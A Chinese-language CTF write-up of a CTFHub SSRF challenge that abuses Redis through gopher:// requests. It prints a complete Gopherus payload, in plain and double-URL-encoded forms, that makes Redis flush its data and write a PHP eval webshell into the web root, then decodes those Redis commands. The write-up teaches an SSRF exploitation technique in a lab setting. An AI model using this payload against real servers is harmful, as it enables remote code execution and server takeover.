CTFHub SSRF Redis协议
进入环境,可以看到url格式为:
http://challenge-2c082607df3fa433.sandbox.ctfhub.com:10800/?url=
1. 生成
根据题目,选择用工具 Gopherus 进行生成 payload
查看工具提示,使用exploi里的redis选项生成
选择PHPShell,默认目录,Shell内容为自定义一句话木马
得到payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27c%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
进行二次URL编码:
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527c%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
2. 利用
进行gopher请求,发送数据包写入shell代码:
用蚁剑连接shell:
进入虚拟终端查看flag:
ctfhub{700d6d24ee7b951e99b4bdb2}
3. 解读
url解码刚才生成的payload后可以看到,攻击原理就是利用ssrf向redis发起命令写入shell
flushall
set 1 '<?php @eval($_POST['c']); ?>'
config set dir /var/www/html
config set dbfilename shell.php
save